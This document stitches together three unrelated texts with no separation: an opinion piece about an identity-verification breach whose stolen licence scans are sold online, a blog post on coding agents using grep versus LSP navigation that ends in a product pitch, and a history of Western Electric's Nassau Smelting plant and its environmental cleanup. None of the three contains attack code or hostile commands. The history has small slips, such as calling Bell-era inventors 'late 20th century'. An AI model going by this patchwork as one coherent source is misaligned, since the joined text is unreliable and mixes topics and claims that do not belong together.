But also, this should be a massive warning to everyone pushing for age verification laws. You can have a “trusted” company in the space who brags about all the certifications it has. It’s in “compliance” with the GDPR, the CCPA, and every other law. It is “transparent” about its “privacy practices” and how its “sensitive identity data is handled responsibly” and…. for over a year it’s been leaking all of those sensitive records.

And it appears no one internally at the company noticed.

As Krebs makes clear, the breach included many, many millions of records and ID scans that were being swiped in real time by the hackers who breached the system:

The people behind Nexus claim the license images are coming from an active breach at “a major identity verification company” whose customers include multiple Fortune 500 companies.

“We have been continuously exfiltrating new data for over a year into our private database,” the service enthused in its introductory post on Exploit. “Records are available to preview before purchase with pertinent information redacted. Customer photos are displayed if available.”

Indeed, over the past 24 hours, the number of drivers license records listed as available in Nexus has increased by nearly 400,000, suggesting that freshly stolen license data is being harvested and uploaded to this service on a semi-regular basis.

And the exposed records aren’t just random members of the public. Krebs found the driver’s license of the sitting Secretary of Defense sitting in there for sale:

A bargain! Only $100 to get a scan of the Secretary of Defense’s driver’s license.

Anyway, each time we highlight a breach people play it down and insist that mandating age verification is perfectly safe and nothing to worry about. Yet here’s one of the largest identity verification companies in the country, with a pipeline so wide open that hackers had a real-time feed of every government ID it scanned, for over a year, without anyone at the company noticing.

Krebs spoke to a security researcher at Cybera, named Larry Baldwin, who talks about how this kind of data can do real damage:

Baldwin said the Nexus identity theft service presents multiple serious security and privacy threats, noting that state-issued drivers licenses are commonly used as proof of one’s identity when opening new lines of credit. Baldwin said the service could also dangerously expose many people who do not wish to be found but who cannot meaningfully change their appearance (or at least not enough to fool today’s AI-based image matching tools).

This category of people, he said, includes those fleeing domestic violence, and even people who have been assigned a whole new life and identity as part of the federal government’s witness protection program, which is generally reserved for criminal defendants in racketeering and conspiracy investigations who agree to cooperate with federal authorities.

“Just when it seems like we’re making some headway in improving authentication controls through drivers license verification systems, this happens and the very thing those improvements are dependent on are compromised,” Baldwin said.

At this point, anyone still supporting age verification requirements, especially claiming it’s for “child safety,” should have to answer for all the millions of people put needlessly at risk due to data breaches like this.

You cannot do age or identity verification safely. It always creates some sort of record and that set of records will always become a target. That’s what happened here. And it’s what will happen with any such systems.

Filed Under: age assurance, age verification, data breach, hackers, privacy
Companies: hertz, idscan.net

Why would a coding agent ignore a retrieval interface that returns more precise results?

I explored this question in a small study comparing lexical search with grep against LSP-backed semantic navigation. I expected semantic navigation to reduce noise and save tokens. Instead, agents often stayed with grep. When I forced them to use the semantic path first, task success sometimes fell.

This is a question of LLM-friendliness. A tool is not friendly to a model merely because its results are precise. It must return enough context for the next step and present that context in an interface and output shape the model can use directly. Familiarity may also matter: the model may have learned similar action paths during training. The interface properties can be evaluated directly. Training support is a hypothesis consistent with these results, not something this study proves.

The result is not a general argument against LSP. The protocol includes capabilities far beyond code navigation, and this study tested only a small subset. Instead, the results point to a broader engineering problem: a model does not use tools in isolation. It uses them through a harness that defines the available actions, their names, their inputs, and the context returned to the model.

In this post, I describe how code retrieval affected both code-finding and editing tasks, why grep had an advantage in some conditions, and what this means for agent platforms.

Comparing two code retrieval interfaces

I compared two ways for an agent to retrieve code context. grep performs lexical search: it finds matching text. The tested LSP-backed tools perform semantic navigation through references, definitions, and document symbols, allowing them to distinguish a real function call from the same word in a comment.

The pilot covered three Claude models, several Python and TypeScript repositories, and multiple task types. I measured token use only when both approaches completed the task successfully. This controls for a common evaluation error: a failed run can appear efficient simply because it stopped early.

On simple code-location tasks, all three models chose the semantic tool only 0% to 6% of the time when both tools were available. Forcing a semantic-first path reduced success from 100% to 89% in that arm.

Reference-completeness tasks produced a different result. When asked to find every caller, the models chose semantic navigation 45% to 57% of the time. The LSP-backed path reached 1.00 precision, compared with 0.76 for grep, by removing false matches. However, recall stayed near 0.66 in both arms. Semantic navigation did not find more true calls. The remaining limit came from how thoroughly the agent worked, not from retrieval precision. For the stronger models, the precision gain also came with higher token use rather than a saving.

The model doesn't blindly prefer grep — it routes by task

Share of semantic (LSP) tool calls when both grep and LSP are available and the agent chooses freely.

Legend: Opus 4.8 (blue), Sonnet 4.6 (magenta), Haiku 4.5 (green).

The codebase was also important. On a clean TypeScript repository, LSP-backed navigation produced no F1 gain and used 16% more tokens. On a noisy TypeScript repository, it improved F1 by 0.246 and used 12% fewer tokens. The useful predictor was lexical noise, not whether the language had strong static types.

Codebase noise determines the value of semantic navigation

Accuracy gain from semantic retrieval on reference-completeness (ΔF1 = LSP − grep). Bar colour encodes how noisy grep is on that repo; prec = grep’s precision there.

Legend: blue means grep is clean here; magenta means grep is noisy here.

These results are conditional rather than categorical. The agents did not simply “always use grep.” Their routing changed with the task, and the value of LSP-backed navigation changed with the repository.

The tested LSP-backed tools initially returned only a location: a file path, line, and column. The agent then had to open the file to inspect the code. grep, by contrast, usually returned the matching line immediately: src/auth.ts:42: return validateToken(token).

I changed the semantic-navigation response to include source text in a similar shape. The semantic backend and the set of references stayed the same; only the information returned to the model changed. Pass@1 on the rename tasks rose from 0.67 to 0.83, while follow-up file reads fell from 15.2 to 3.2 per episode.

Returning source context improves semantic navigation

Multi-file rename, Opus 4.8, pyright with a pre-warmed index. Same semantic backend in both LSP arms — only the output shape differs.

Legend: grep (blue), LSP — locations only (magenta), LSP + inline context (green).

This result illustrates a principle that Anthropic also emphasizes in Writing effective tools for agents: tools are interfaces for non-deterministic agents, so the context they return is part of the design. A semantically correct tool can still create a poor agent workflow if each result requires several extra actions to interpret.

The output change does not prove that post-training data caused the improvement. It may also have helped simply because each response contained more useful information. However, the result is consistent with a broader hypothesis: models learn concrete action patterns, not “tool use” in the abstract. A familiar loop—prompt, tool call, readable result, next action—can be part of the capability observed in practice.

Interface familiarity is only part of the explanation. Lexical search also had a real structural advantage for some tasks.

A semantic reference is only one kind of text match. A rename may also need to update comments, docstrings, configuration, or strings. find_references will not return those by design, while grep can.

semantic references ⊂ textual occurrences

For text-wide edits, grep can be the better retrieval tool even for a model with perfect training on LSP-backed navigation.

This gives us two explanations for the observed behavior:

1. Structure: some tasks need textual completeness, which the tested semantic-navigation methods do not provide.
2. Distribution: the model may have more practice with familiar tools and result shapes.

The first explanation follows directly from what the tools retrieve. The second is a hypothesis consistent with the routing and output-format results, but this study did not manipulate training data and therefore cannot prove it.

The harness is part of the system

Here, I use harness to mean the runtime around a model: the instructions placed in context, the tools made available, their input schemas, the shape of their results and errors, and the loop that decides what the model sees next.

This surrounding system can materially change behavior. Anthropic’s work on effective harnesses for long-running agents shows the same idea at a longer time scale: the model alone is not enough to make reliable progress across sessions. Environment setup, progress artifacts, and verification routines affect what the agent can accomplish.

The same principle applies within a single tool loop. When post-training includes agent trajectories, the harness defines the prompts, tool calls, results, and recovery paths in those examples. A model trained through repeated use of read, grep, edit, and bash may learn policies that depend on those interfaces. Moving the same model into a different tool layer can therefore change its effective capability.

agent capability = model × harness

This is why benchmark results for a model do not always transfer unchanged to a different runtime. Supporting the same model is not necessarily the same as reproducing the same agent. Tool selection, signatures, output formats, and error behavior can all affect the policy the model follows.

This is one reason my team and I built AgentConnect around native coding-agent runtimes. AgentConnect does not place Claude or Codex models inside a shared, generic tool loop. It runs runtimes such as Claude Code and Codex on the user’s own machine, where each runtime keeps its native tools and normal prompt-to-tool workflow.

AgentConnect communicates with these runtimes through the open Agent Client Protocol (ACP). ACP standardizes the boundary between a client and a coding agent, including session setup, prompts, streaming updates, tool-call updates, cancellation, and permission requests. It does not require every runtime to expose the same internal tools.

This separates two concerns. At the outside boundary, a common protocol lets AgentConnect provide team channels, triggers, schedules, session history, collaboration, and control across multiple agents. Inside that boundary, Claude Code can continue to work like Claude Code, and Codex can continue to work like Codex.

The goal is not vendor lock-in. ACP provides an open boundary across runtimes. Our design principle is to preserve the tool surface each model already uses well, then add coordination around it.

Practical guidance for adding tools

These findings do not mean that teams should avoid LSP, MCP, or new agent skills. The study found a clear precision gain from LSP-backed navigation in noisy code, and a small response-format change removed most follow-up reads. The practical lesson is to evaluate a new retrieval interface as part of the full agent loop.

My recommendation is to start with the native tool surface, then apply the following checks when adding a new capability:

1. Test real tasks at equal accuracy. Do not celebrate lower token use if success also fell.
2. Measure whether the agent calls it. Availability is not adoption.
3. Return enough context for the next decision. A result like path:line:content may work better than a bare location object.
4. Keep a native fallback. Semantic and lexical search solve different problems.
5. Route by the task and the codebase. A noisy repository may benefit from semantic navigation. A text-wide search may still need grep.
6. Reinforce the new trajectory when it matters. A prompt can introduce a tool, but it may not create a reliable policy for using it.

As Anthropic notes in Building effective agents, successful agent systems often rely on simple, composable patterns. More tools do not automatically produce a more capable agent; tools must be distinct, understandable, and useful within the model’s workflow.

Conclusion

The study shows why “better retrieval” cannot be evaluated outside the full agent system. An interface can be more precise and still use more tokens. It can return correct locations and still create unnecessary reads. A small change in output shape can make the same semantic result much easier for the model to use.

For teams building agent platforms, the implication is straightforward: evaluate the model and harness together. Preserve the interfaces that already support reliable behavior, and test changes against real tasks before assuming that a more sophisticated abstraction will help.

For the full experimental setup, task definitions, and results, see Does a Language Server Save Tokens for Coding Agents?.

This is the product principle behind AgentConnect: use an open protocol to connect agents, while keeping each model together with its native runtime and tool loop.

Star AgentConnect on GitHubagentconnect-md/agentconnect Get started with AgentConnectdocs.agentconnect.md

Through decades of consolidation, reorganization, and divestiture, AT&T left a famously complicated corporate history. One of the greatest enterprises in American history, arguably the greatest enterprise, AT&T has often rivaled the federal government in the size of its budget and workforce. One of the reasons, as we well know today, was monopolization and its close relative vertical integration. AT&T was the telephone system, or at least aspired to be, and for decades the meaning of "Universal Service" was that the service was designed, built, and operated by AT&T—universally.

While AT&T's tangled origins are fertile ground for the historian, they also obscure many of the early stories of telephone history. Much of the work of the early independent telephone industry has been lost in the voluminous achievements of AT&T. Even very basic facts become obscure. For example, who invented the telephone? Well, we all know the answer: Alexander Graham Bell. We have mostly forgotten that, at the time, this was a hotly contested question. One of the most prominent alternate claimants to the title was a man named Elisha Gray, today immortalized as the "Gray" in electrical distributor "Graybar," but better known in his time as an inventor of telegraph and telephone equipment. Gray contracted prototyping of some of his inventions to an upstart manufacturer and de facto Western Union spinoff, founded by Enos M. Barton (the "bar" in Graybar) and George Shawk. Impressed by Barton's operation, and at odds with Shawk on its future direction, Gray put together the money to buy out Shawk and became half-owner of the company that would reincorporate, in 1872, as Western Electric (WE).

It is ironic, of course, that a man who might fairly be called one of the top enemies of Bell helped to found the company that would become one of the most important parts of the Bell System. It's not a coincidence: Gray's involvement in WE included plans to manufacture his own telephone design, for which he had filed a provisional patent. Like many of the late 20th century's telephone inventors, Gray's greatest challenge in commercializing his invention was not technical but legal. His provisional patent on a telephone transmitter, substantially similar to the one invented by Bell and possibly older, led Western Union to take take part ownership in WE to advance their own plan to compete with AT&T as a telephone company. That set off a protracted legal battle, whose end result included the termination of Gray's patent claim and Western Union's abandonment of telephony.

AT&T was not the kind of company to leave things to chance, though, and least of all when it came to competition. In 1881, AT&T acquired WE. From that point on, WE was no longer a competitor, it was a core part of the Bell System: the manufacturing and supply arm of AT&T. A few decades later, WE had become the primary maker, and often sole supplier, of every piece of equipment used in the Bell telephone network. Everything from telephones to cables to central office switches were made at WE's various works. What few components WE didn't make, it sourced, through an expansive purchasing arm that negotiated orders on the behalf of the entire AT&T family. In 1925, WE had become so dedicated to the Bell System that its remaining non-telephone business, mostly local distributorships, was spun out into a separate company (Graybar). From that point forward, the Bell System was not only WE's sole shareholder but its sole customer as well.

As part of the 1925 reorganization, WE's research and development arm became a new organization, jointly owned by WE and its patron AT&T: Bell Laboratories. This new organization consolidated AT&T's expanding basic science efforts with WE's manufacturing expertise, setting the stage for decades of equipment that was conceived, designed, manufactured, and used within the AT&T empire. Bell operating companies got everything they needed, from tools to the telephones themselves, via requisition to their local WE supply warehouse. Such were the needs of the growing telephone system that WE started manufacturing telephone cable in 1925, quickly became the world's largest manufacturer of wire and cable, and likely held that title continuously until the turn-down of much of its manufacturing capacity in the late 1970s. AT&T was the nation's largest private employer for much of this period, and WE accounted for about 1/6th of that workforce.

Until the Carterfone decision and, for the most part, until the divestiture of AT&T in 1984, telephones were born at Western Electric. All of the phones leased by Bell Operating Companies, ranging from the classic WE 500 to explosion-proof phones for coal mine applications, were made at WE facilities like the Indianapolis Works. There were nearly 10,000 employees there, making 35,000 phones a day—and Indianapolis was not remarkable. It was just one plant of many.

AT&T built its empire through innovation, but also through domination. The acquisition of WE was one of its biggest steps towards complete integration, a goal that WE would pursue through the middle of the 20th century. For example, when the Morton Salt empire indirectly led to the Teletype Corporation and the development of commercial teletypewriter networks, they bought it. Teletype was a WE company from 1930 to its end.

Telephones were not only born at WE; they went there to die. During the 1920s, telephones were expensive instruments that required regular maintenance. Besides the commercial advantage, which would become more significant in later years, this aspect of telephones encouraged a full service lease model. Customers leased their phones from their telephone company in part because (prior to Carterfone) they had to, in part because the arrangement made the telephone company responsible for the phone's care. At the same time, Bell Operating Companies carefully controlled their expenses by reusing equipment as much as possible.

So, when a customer signed up for telephone service, they were issued a phone. When they canceled service, or had trouble with the phone, or quite simply wanted a phone that was a different color (or an upgrade to a Trimline or a Princess), the telephone company took the phone back. It would join hundreds of other phones on a trip to the nearest WE Service Center. The same truck would likely make the return journey loaded with phones ready for customers: the service center refurbished them.

Millions of telephones come back to Bell System service centers each year, many with their housings, handsets, and other molded plastic components bruised and battered. Some can be put back in shape by buffing, solvent polishing, or painting. Others wind up in piles. (Q1)

The scale of WE's phone refurbishing program was remarkable. Huge workshops of WE employees inspected, cleaned, repaired, and tested each phone. Refurbished units visited a test desk for a thorough electrical checkout before they received the service center's stamp or label that they had been remanufactured for use. In the Mountain States and west, WE service centers were found in Denver, Phoenix, Los Angeles, San Francisco, and Seattle. By the 1960s, Portland and Salt Lake City had joined.

Of course, despite the best efforts of all of WE's horses and all of WE's men, not all telephones can be put back together again. Much of the equipment returned to WE could not be satisfactorily refurbished. Besides, it wasn't just phones that telephone companies returned to WE, it was everything. Upgrading a crossbar exchange to an ESS? The ESS came from Western Electric, and the crossbar exchange went back to them. WE supplied telephone poles to the operating companies, and at the end of their life it took them back.

Western Electric has manufactured millions of telephones, millions of miles of wire and cable, tens of thousands of manual and dial switching units, and the thousand-and-one other kinds of apparatus that go into the plant of the Bell System. It has purchased from thousands of other manufacturers the great variety of supplies that are used by the Bell System. (Q2)

The majority of that output—at least what wasn't still in service during WE's decline—went back to WE for disposal, as well. That included the wire: from simple drop wires to heavy multipair cables, old wiring was routinely cut into sections and shipped back to WE—specifically, to the WE Salvage Works on Staten Island.

In 1883, as the component elements of a telephone industry were swirling around New York and accreting by gravity into the shape of the Bell System, Benjamin Lowenstein arrived from Germany. Settling in New York City, he took up a business that he must have learned back in Europe: metal refining. Within a year of his arrival, the B. Lowenstein & Bro. company was smelting scrap metal from a shop in Manhattan (the brother, Moses Lowenstein, was a constant second fiddle in Benjamin's ventures until he sold his share and retired to go his own way in 1900).

Lowenstein had a way of maneuvering his metals businesses into the path of technological progress. His first such success was lead, or rather an alloy of lead with tin and antimony. This specialized alloy was eutectic, meaning that it melted and solidified at a single, well-defined temperature, and a low one at that. These were exactly the requirements for feeding the newly-invented Merganthaler hot-metal typesetting machines, later known as Linotype—much as the metal came to be known as Linotype alloy. By 1890, B. Lowenstein & Bro. was the major supplier of feedstock for hot-metal typesetting in the US.

Linotype metal brought in a lot of money, enough that Lowenstein looked to expand. Manhattan was already dense enough that it was hard to find a site for a large industrial operation. Instead, Lowenstein found land in the southern end of Staten Island, near the neighborhood of Tottenville. There, he founded the Tottenville Copper Company. Tottenville Copper grew quickly, well positioned for the new demand for copper brought about by the electrical revolution. During the 1900s, Lowenstein rebranded B. Lowenstein & Bro. as the Nassau Smelting and Refining Company and moved to consolidate it with Tottenville Copper. In 1914, as the US entered the First World War, Nassau Smelting and Refining was noted as one of four companies responsible for 90% of the country's copper exports.

It's said that war is good for business, and it certainly was for Lowenstein. The war brought a pressing need for copper, and the Tottenville plant was pressed into military service. This part of the company's history is, unfortunately, well-documented due to a scandal all too familiar to our present times: on March 27th, 1918, police officers seconded to Naval Intelligence raided the Tottenville copper plant and arrested sixteen laborers—Germans and Austrians, many of them crew members of German merchant ships who had become trapped in the United States by wartime turmoil. In finding productive employment, a way to support themselves, they had made the critical mistake of taking jobs that supported the war effort.

The intelligence officers spent most of the day at the plant in Tottenville, which employs about 500 workers. Practically all of them were questioned, but most of them were found to be either native Americans or naturalized citizens. The sixteen who were unable to show either that they had registered or had obtained zone permits were placed under arrest at the plant. (Q3)

Because of its role in supplying copper components of artillery shells, the Tottenville smelter was considered a munitions plant, and was thus off limits to any enemy aliens who did not possess a specific movement permit issued under police supervision. A few of the sixteen arrested had not registered as enemy aliens, but most had registered and had the wrong work permit. The newspapers do not suggest that these sixteen had committed any offense other than a lapse in paperwork, but they were nonetheless "turned over to Federal Authorities for internment." The authorities were also, reportedly, investigating an allegation that a manager at the plant had made "seditious remarks." These included criticism of the Liberty Bonds used to fund the war effort, and a suggestion that American forces in France would not prevail. Fortunately for the plant manager, he was able to produce paperwork proving his citizenship, and officers deemed the evidence of his "seditious" opinions to be insufficient for charges.

If the war brought good fortune to Lowenstein, peace took it away. The end of steady military contracts complicated the finances of Nassau Smelting and Refining, requiring a retooling of the plant towards other products in the difficult context of the post-war recession. A major fire at the plant, in 1923, racked up a huge repair bill and cut into production. There were personal problems, too: in the mid-1920s, Lowenstein divorced, starting a bitter multi-year legal battle over custody of his children—a question ultimately resolved in his favor, but not without the involvement of the appellate courts and an axe-wielding deputy sheriff. The financial condition of his company continued to decline as the country slid into the Great Depression. Lowenstein must have been looking for an exit.

By this time, Nassau Smelting and Refining was consolidated into a 45-acre property on Staten Island straddling Mill Creek, just south of State Route 440 and between Arthur Kill Road and Page Avenue. There were two primary operations: the "red metals" complex which processed copper, and the "white metals" complex for lead and tin. Both ran primarily on reclaimed scrap, refining it into ingots ready for reuse. Conveniently, these were two categories of metals in great demand to the Bell System: copper, for wiring, and lead and tin, extensively used to coat cables and splices and as key ingredients in solder. The post-war period brought not only general economic decline, but also an increase in metals prices, stressing AT&T's supply chain. Western Electric turned its mind towards consolidation. Given the Nassau plant's proximity to WE's headquarters in New York City and plants throughout the region, WE must have already done quite a bit of business with Lowenstein's company. In 1931, they bought it.

Likely because Nassau Smelting and Refining was already a well-established business, WE left it to operate as an independent subsidiary, alongside the Teletype Corporation (which was acquired at nearly the same time) and, later, the Sandia Corporation in Albuquerque—the three independent subsidiaries of Western Electric through the 1980s.

By the 1940s, Nassau Smelting and Refining was processing thousands of tons of scrap each year. Most of this was disused telephone equipment and cable that had been broken down at other WE plants and then delivered to Staten Island for smelting. WE reported that about 3/5 of the nonferrous metal content of this scrap was returned to WE as high quality metal stock for manufacturing use. In the mid-1950s, Nassau Smelting and Refining provided about 16% of the Bell System's copper supply and 20% of its lead. During the Second World War, when copper became exceptionally scarce, the Nassau works provided a critical in-house metal recycling capability that not only supplied the military as a contractor but also allowed AT&T a reliable source of metal for its wartime telephone projects. During several such periods of disruption in the metal market, Nassau Smelting and Refining provided most of AT&T's supply. For AT&T, vertically integrating metal smelting thus had two key advantages: cost savings from owning its own supplier, and a degree of protection from the whims of the market. "Nassau Smelting and Refining Company is a further extension of Western Electric's constant effort to do its Bell System job better and more economically" (Q2).

A 1946 newspaper article, announcing an open house at the plant with tours open to the public, gives a sense of the scale of the operation. Each day, an average of five railroad cars of scrap arrived at the plant. Stripping machines separated lead sheathing from telephone cables "like a child would peel a banana" before the remains were fed into the furnaces—enough oil to heat a house for a year kept each furnace at 2,000 degrees for one day. Lead was transferred from furnaces to kettles, 30 tons at a time, and poured into ingot molds. Much of the lead then went to the plant's on-site solder mill. Each of the presses there formed enough rosin-core solder to reach "from Tottenville to St. George [at the far end of Staten Island] and back," each day.

During the mid-century, WE expanded the Nassau company's remit beyond just nonferrous metals. Nassau Smelting and Refining became WE's general broker of scrap and secondary materials, brokering cinders from telephone company power plants as a soil amendment, and iridium recovered from telephone relay contact points as a precious metal. As a subsidiary, rather than a mere component of Western Electric, Nassau was somewhat more independent of AT&T than the rest of WE. The metal operation wasn't restricted to the telephone industry, and both purchased scrap on the open market and sold metals to any buyer. Nassau was one of two bidders, for example, on an enormous post-war Naval copper supply contract.

Metal refining is not a clean operation. In 1947, Nassau faced charges of "smoke annoyance" and "noxious conditions" that might have led to a criminal prosecution, were the case not forestalled the company's agreement to install a $350,000 bag house to filter furnace emissions. By this time, Nassau was called one of the nation's largest "above-ground mines." Metal recycling, while economical nearly from the beginning of metallurgy, received a surge of interest in a post-war nation that keenly remembered the shortages of the previous decade. Unlike our modern association between recycling and environmental protection, in the 1940s it was styled mostly as a new form of extractive industry: "The Nassau Smelting and Refining Company... mines the vast Bell network for valuable metals.... in 1948,.. Nassau reclaimed more copper than was produced in six of the nation's 14 major-producing states. And of 22 major lead-producing states, only four produced more than was reclaimed by Nassau."

The president of Nassau at the time, William Scheuch, described "American homes, factories, and cities" as the "mines upon which modern industry depends." He noted as well that, by that time, rubber, plastics, rope, and "scores of other materials" had fallen under Nassau's responsibility. "So thrifty are Nassau's experts that even floor sweepings are cooked by incandescent heat to reclaim the last drop of metal content" (Q4). Later that year, Nassau hosted a delegation of European metallurgists discussing techniques for recycling aluminum, then a major focus of Nassau's research department.

In 1956, the Staten Island Advance ran a puff piece on Nassau's production (162 million pounds of scrap converted into 138 million pounds of saleable metal in 1955) immediately next to the headline "Smog Growing Problem." In 1958, the same newspaper carried an editorial by Nassau's new president, Arthur Fegel, under the headline "Nassau Battles Air Pollution." In some ways, the piece is a celebration of the company's 75th anniversary, but the headline betrays an underlying political struggle. "Just as good families are good neighbors,.. an industrial concern like Nassau devotes much attention to being a good citizen in its own neighborhood" (Q5). This was the preface to an announcement, at the end of the article, that Nassau was about to build a new furnace that would burn the insulation off of wire. The exhaust, he promised, would be "clean as a whistle."

In the early 1960s, Nassau underwent a wave of expansion, including new office and warehouse facilities on the north side of the property. The plant had become one of the major employers of Staten Island, with a payroll including "12 fathers and their 14 sons." The Staten Island Railroad operated a train station for the plant's employees, called Nassau, and expanded it in the early 1970s. The plant was one of their largest freight customers as well, with an industrial siding just off of the station. In 1971, the Deputy Commissioner of the New York Department of Air Resources paid a visit, or rather a "sniff," in part to confirm that Nassau had complied with an order to stop burning lead away in furnaces. "In terms of other smelters in New York City, it is fairly clean; but that doesn't mean it is in compliance with all the standards" (Q6).

The 1970s were, for the Bell System, the beginning of the end. An upstart subsidiary of the Southern Pacific Railroad waged an intense legal battle against AT&T's monopoly, won the right to compete on long-distance service, and renamed itself to Sprint before merging with principal AT&T competitor GTE. Corning demonstrated a new communications technology based on light trapped in glass fibers; by 1980 the manufacturing technique for these new cables had become refined enough that they presented a lower-cost option compared to AT&T's coaxial and microwave network (Bell Laboratory's alternate plan for the future of communications, long-distance microwave waveguide, was stillborn).

At the same time, the American environmental movement hit its stride. The Clean Air Act, the Clean Water Act, the establishment of the Environmental Protection Agency; each of these steps imposed new requirements on an aging metal plant that had long been considered a major polluter. Wastewater from metal separation processes, a slurry of heavy metals and petrochemicals and God only knows what else, was redirected from Mill Creek to the site's first water treatment plant in 1973. That plant separated the contaminants into a dried sludge, which for years was simply piled up under the approach ramp of the Page Avenue bridge. Later, this sludge was processed to extract precious metals, but that modest revenue didn't make up for the capital investment. It wasn't a good time to be an expensive part of Western Electric: facing declining revenues, labor unrest, and the weakening state of its sole benefactor AT&T, WE entered the late 1970s as a company in decline. WE started backing away from its integrated salvage operation: sometime in the late 1970s, the remaining metal recycling operations at Nassau were contracted to a company called C&D Recycling, which assumed management of part of the Nassau plant.

Copper smelting operations at Nassau ended in 1981, beginning a multi-year decommissioning and demolition process for the Red Metals complex. The main copper processing building was razed by 1985, but in the mean time, the entire Bell System had met a worse fate: divestiture. Antitrust lawsuits against AT&T, brewing throughout the 1970s, leading to a 1982 settlement agreement that required the dismantling of the Bell System over the following years. On the first day of 1984, the Bell Operating Companies became independent corporations, over 2/3rds of AT&T gone overnight. Western Electric went along with them: one of the key findings of the antitrust case was that AT&T had built and maintained a monopoly through vertical integration so extensive that it deprived their competition of equipment and supplies.

AT&T was able to partially mitigate the unwinding of their vertical integration: by agreeing to completely divest the operating companies, it won terms on which Western Electric could remain an AT&T company, under a new name. AT&T had agreed to end use of the trademarks most associated with their nationwide monopoly, including not just "Bell System" itself but the Western Electric name and logo. WE was reorganized, with some divisions meeting other fates, but most of the company became AT&T Technologies. As part of the settlement, AT&T had gotten relief on various restrictions imposed on them by previous antitrust cases, including a key prohibition on Western Electric marketing general-purpose computers. While there was some initial optimism that that small victory would allow the new AT&T Technologies to take on the likes of IBM, it didn't work out that way. A series of poor decisions, several fundamental missteps, and no doubt some plain bad luck had Western Electric, and its close partner Bell Laboratories, on the downhill.

Post-divestiture, Nassau Smelting and Refining took on a new identity: AT&T Nassau Metals. As part of the settlement agreement, Bell Operating Companies could no longer be required to purchase equipment and supplies from WE. The Bell telephone market was suddenly open to competitive manufacturers such as the Canadian company Northern Electric (later Nortel), itself a fragment of Western Electric that had broken away when a 1950s antitrust case led to a settlement agreement that WE would divest its foreign operations. On top of the Carterfone decision and divestiture making consumer telephones a competitive market, WE found its business seriously undermined. The 1980s saw closure of many of WE's largest plants, Nassau not excepted.

The White Metals complex at Nassau continued longer, shutting down in 1991 with demolition starting in 1996. The last manufacturing operations at AT&T Nassau Metals, by then limited only to electroplating, ended in 2001. Nassau had actually outlived its parent, WE, which was renamed to Lucent Technologies and made independent in 1996. By that time, AT&T Nassau Metals had been renamed to simply the Nassau Metals Corporation, and existed primarily to manage the closure and remediation of the Tottenville site.

All of the original, 1930s-era manufacturing buildings were found south of Mill Creek and had been demolished by 2000. The newer 1960s era buildings, an office building and a warehouse north of Mill Creek, were leased to a developer who found various commercial tenants. Most of the site remained abandoned in its post-demolition state for the next twenty years, though: a formidable environmental recovery was required before reuse.

The Nassau Metals site was investigated by the EPA for inclusion on the National Priorities List as a superfund site during the 1990s, but was ultimately not nominated. The main reason was simple: the Potentially Responsible Party was the Nassau Metals Corporation, a subsidiary of AT&T, a company that was still very much alive. With some cajoling by environmental authorities, AT&T agreed to avoid the federal CERCLA process by entering the New York Department of Environmental Conservation's Voluntary Cleanup Program (VCP). Many environmental authorities offer something like the VCP: one of the reasons that contaminated industrial sites, often called brownfields, tend to stay that way is the uncertainty and liability involved in environmental contamination. Real estate developers are understandably hesitant to commit to a property that may require an enormously expensive remediation in the future.

The VCP provides an alternative: when a company participates in the VCP, they develop a comprehensive plan for site remediation—at their expense—that is mutually agreed with and supervised by the Department of Environmental Conservation. In exchange for the land owner completing the approved remediation plan, the Department of Environmental Conservation makes a binding agreement not to impose further requirements in the future. In other words, it's a legal arrangement to settle on what level of cleanup is "good enough," so that future owners of the property are protected from expensive surprises.

For remediation purposes, the Nassau site was divided into three Operable Units. The largest, OU1, includes the primary industrial area where both the Red Metals and White Metals facilities had been located. From a 1991 Site Investigation Report to the 2011 Final Engineering Report, remediation contractors identified extensive contamination of the soil throughout the site, and downstream on Mill Creek, with lead and other heavy metals. It was found, for example, that a substantial portion of OU1 was built on artificial infill of a former wetland. The fill material, in line with standard practice in the 1930s, is best described as "assorted trash." Everything from construction debris to domestic garbage to old telephones had been piled up and compacted, and then factory buildings put on top of it all. Every time there was a storm, Mill Creek surged against its south bank and washed some of it away, downstream, into Arthur Kill. Particulate contamination from these materials could be identified out into the ocean.

During the 2000s, contractors dredged Mill Creek and parts of Arthur Kill, temporarily dammed Mill Creek to facilitate further excavation, stabilized the banks of Mill Creek by geotechnical methods, developed new wetland areas on other parts of Arthur Kill at a 3:1 ratio to the area permanently disturbed by the site, replanted vegetation, and cleaned out storm sewers that had been contaminated by runoff from Nassau.

These were all secondary efforts, though, in comparison to the largest remediation activity. The majority of the site, on both sides of Mill Creek, were covered with an engineered barrier of soil, stone, geosynthetic clay liner, and asphalt, intended to ensure that the contaminated soil will remain on site. It is simply too large of a volume to practically be removed, and even if it was, the degree of the contamination is so severe that it would be difficult to find a facility licensed to dispose of it. We tend to think of nuclear waste in the most severe terms, a contaminant that we can never be rid of, pretending that this is somehow an unusual outcome. The reality is much worse: permanent on-site entombment is one of the most common fates of industrial contamination, and there are tens of thousands of sites across the United States in which it is forbidden to dig.

Nassau is one of those. Nassau Metals no longer owns the land, it has all been sold to private developers. On the north side, where the office building and warehouse remain (now a restaurant and a complex of fitness facilities respectively), the parking lot and foundation slabs of two new fast food restaurants make up the permanent barrier. Whenever any paving or concrete work is required, a qualified environmental engineer must be on-site to supervise the work and ensure that the integrity of the barrier is maintained. On the south side of the property, which was unpaved, the clay barrier must remain in place under the new construction or a new barrier must be approved by the Department of Environmental Conservation. No digging can be done without arranging for disposal of the disturbed soil at a licensed facility. Covenants on the property require that these institutional controls be observed in perpetuity:

the owner of the property shall prohibit the Property from ever being used for purposes other than for Commercial or Industrial use without the express written waiver of such prohibition from the Department

Because of the particular standards to which the site was remediated, it is considered suitable only for limited occupation within the context of the institutional controls. Healthcare facilities, elder care homes, child care facilities, agriculture or gardening of any kind (even at hobby scale), and residential construction are all perpetually prohibited. The groundwater cannot be used without construction of a treatment facility approved by the state. The barrier system containing the contaminated soil must be inspected and recertified by engineers on a regular basis.

This, then, is the story of Western Electric—it calls for many things and many activities, blended together, to create the miracle of telephonic communications. It takes people and equipment, inventiveness and technical skill. It takes experience, and, above all, the fundamental desire to be of service to the public and the nation. (Q2)

